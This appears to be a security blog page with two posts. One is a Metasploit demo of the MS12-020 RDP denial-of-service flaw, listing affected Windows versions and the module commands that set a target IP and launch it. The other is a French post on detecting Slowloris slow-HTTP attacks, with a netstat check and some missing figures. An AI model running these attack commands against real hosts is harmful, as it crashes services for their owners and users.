MS12-020 Microsoft Remote Desktop (RDP) DoS Metasploit Demo

Timeline :

Vulnerability found by Luigi Auriemma the 2011-05-16
Vulnerability reported by Luigi Auriemma to ZDI
Vulnerability reported to the vendor by ZDI the 2011-08-24
Coordinated public release of the vulnerability the 2012-03-13
Metasploit PoC provided the 2012-03-19
Details of the vulnerability published by Luigi Auriemma the 2012-05-16

PoC provided by :

Luigi Auriemma
Daniel Godas-Lopez
Alex Ionescu
jduck

Reference(s) :

CVE-2012-0002
MS12-020
ZDI-12-044
OSVDB-80004

Affected version(s) :

Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP2
Windows Vista x64 SP2
Windows Server 2008 32 SP2
Windows Server 2008 x64 SP2
Windows 7 for 32 and Windows 7 32 SP1
Windows 7 for x64 and Windows 7 for x64 SP1
Windows Server 2008 R2 x64 and Windows Server 2008 R2 x64 SP1

Tested on Windows XP Pro SP3

Description :

This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

Commands :

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
SET RHOST 192.168.178.22
exploit

Slowloris indétectable ? Pas si sûre que cela.

Jusqu’à maintenant nous connaissons les DoS et les DDoS de bourrins, dont la technique principale est de remplir le tuyau pour rendre l’accès aux ressources impossibles. Ces techniques d’attaques n’étaient pas très discrètes et les contre-mesures difficilement possibles, à part par la mise en place de “IP Blackhole“, ou encore par le prise de contact avec le “carrier” afin de ne plus annoncer la route vers le serveur cible (ce qui revient à un auto DoS ….).

RSnake, un chercheur en sécurité informatique, de ha.ckers, a mis à disposition un outil de DoS lent nommé Slowloris permettant de rendre indisponible un serveur web HTTP d’un hôte cible à partir d’un seul hôte source et cela avec le minimum d’usage sur la bande passante et sur la performance globale du hôte cible.

Slowloris garde les connexions HTTP ouvertes en envoyant sur le serveur HTTP cible de requêtes partielles. A intervalle régulier Slowloris va continuer a envoyer des paquets afin d’empêcher le serveur web HTTP de clore les connexions ouvertes, ainsi le serveur web n’a pas la possibilité de répondre à des sollicitations légitimes.

Suivant le développeur de Slowloris, RSnake, et affirmé dans différents podcast, Slowloris serait quasiment indécelable et permettrait le DoS presque parfait. Malheureusement je n’était pas très convaincu de ces affirmations un peu hâtives. Il est vrai que RSnake avait signifié qu’un grand nombre de “sockets” sont ouverts, et que lors de la clôture de ces sockets, un grand nombre de logs sont disponibles par le biais du serveur web. Déjà trop d’indices pour que cela aussi discret que prétendu.

De bons administrateurs systèmes auront mis sous monitoring leurs serveurs web et seront avertis rapidement d’un DoS en cours sur un serveur web. Voici les empreintes d’une attaque pouvant provenir de Slowloris.

Un grand nombre de connexion ouvertes sur le serveur :

[[email protected] ~]# netstat -tan | awk -F " " '{print $4}' | grep xxx.xxx.xxx.xxx | grep 80 | wc -l
487

Un serveur web présentant un nombre de “fork” hors de la normale :

De nombreux messages d’erreurs dans logs d’erreurs HTTP :

De nombreux logs de connexions anormaux dans les logs d’accès HTTP :

Un monitoring des caractéristiques du serveur web qui devient indisponible :

Par le biais de tous ces indices il est clairement possible de détecter une attaque du type Slowloris et ainsi de bloquer rapidement la source de cette attaque.